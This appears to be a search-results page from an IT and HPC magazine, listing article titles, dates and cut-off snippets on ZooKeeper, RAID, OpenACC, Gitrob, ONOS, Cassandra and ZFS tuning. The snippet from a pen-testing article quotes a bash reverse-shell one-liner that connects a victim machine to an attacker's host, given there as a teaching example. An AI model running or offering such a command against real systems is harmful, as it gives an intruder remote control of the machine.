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10%
Coordinating distributed systems with ZooKeeper
07.10.2014
Home »  Archive  »  2014  »  Issue 23: 10 Ti...  » 
Lead Image © smileus, 123RF.com
of the naming, grouping, or configurations of the menagerie. Thanks to ZooKeeper [1], which is available under the Apache 2.0 license, not every cluster has to provide a synchronization service itself
10%
Introducing parity declustering RAID
28.11.2022
Home »  Archive  »  2022  »  Issue 72: OpenS...  » 
Lead Image © Author, 123RF.com
. Figure 1: A general outline of RAID levels 0, 1, and 5. Common RAID types include: RAID 0 – Disk striping. Data is written in chunks across all drives in a stripe, typically organized in a round
10%
OpenACC – Parallelizing Loops
09.01.2019
Home »  HPC  »  Articles  » 
of the loop, n , is large enough, some processing hardware can greatly speed up the computation. What happens if z(i)  depends on a previous value, as in the following: do i = 2,n    z(i) = z(i-1)*2 enddo
10%
Using loop directives to improve performance
05.02.2019
Home »  Archive  »  2019  »  Issue 49: Anato...  » 
Lead Image © orson, 123RF.com
if z(i) depends on a previous value, as in the following: do i = 2,n z(i) = z(i-1)*2 enddo As written, you can't generally parallelize the loop because of data dependency [4]. This dependency
10%
Plundering treasures with Gitrob
09.04.2019
Home »  Archive  »  2019  »  Issue 50: Bpfilter  » 
Lead Image © pip, photocase.com
Hub releases page [7]. I went with gitrob_linux_amd64_2.0.0-beta.zip, which is a little more than 6MB in size and 21MB uncompressed. After downloading the file (e.g., with wget), I checked that the binary suited
10%
Improved defense through pen testing
13.12.2018
Home »  Archive  »  2018  »  Issue 48: Secur...  » 
Lead Image Photo by Simeon Jacobson on Unsplash
with Computer A (the victim system) receiving the following code: $ bash -I <& /dev/tcp/10.0.0.1/444 0<&1 that causes Computer A to connect to Computer B (the attacking system that receives the connection from
10%
Open Network Operating System
11.10.2016
Home »  Archive  »  2016  »  Issue 35: Persi...  » 
Lead Image © Rade Lukovic, Fotolia.com
. It is currently working on version 1.7.0 (code-named Hummingbird), which will be the eighth release of ONOS. The ONOS team includes various other participants, including service providers such as AT&T, China
10%
Getting started with the Apache Cassandra database
06.10.2019
Home »  Archive  »  2019  »  Issue 53: Secur...  » 
Photo by Almos Bechtold on Unsplash
publisher TEXT, 07 authors MAP, 08 circulation INT, 09 issue TEXT, 10 PRIMARY KEY(publisher, issue, isbn) 11 ); 12 13 # INSERT INTO titles(isbn, year, title, publisher, authors, circulation
10%
Tuning ZFS for Speed on Linux
17.03.2020
Home »  HPC  »  Articles  » 
– in this article: $ cat /proc/partitions|grep sda    8        0  488386584 sda    8        1       1024 sda1    8        2  488383488 sda2    8       16   39078144 sdb    8       32 6836191232 sdc    8
10%
Tuning ZFS for Speed on Linux
02.06.2020
Home »  Archive  »  2020  »  Issue 57: Artif...  » 
Lead Image © Wong Yu Liang, 123RF.com
– in this article: $ cat /proc/partitions|grep sda 8 0 488386584 sda 8 1 1024 sda1 8 2 488383488 sda2 8 16 39078144 sdb 8 32 6836191232 sdc 8 64

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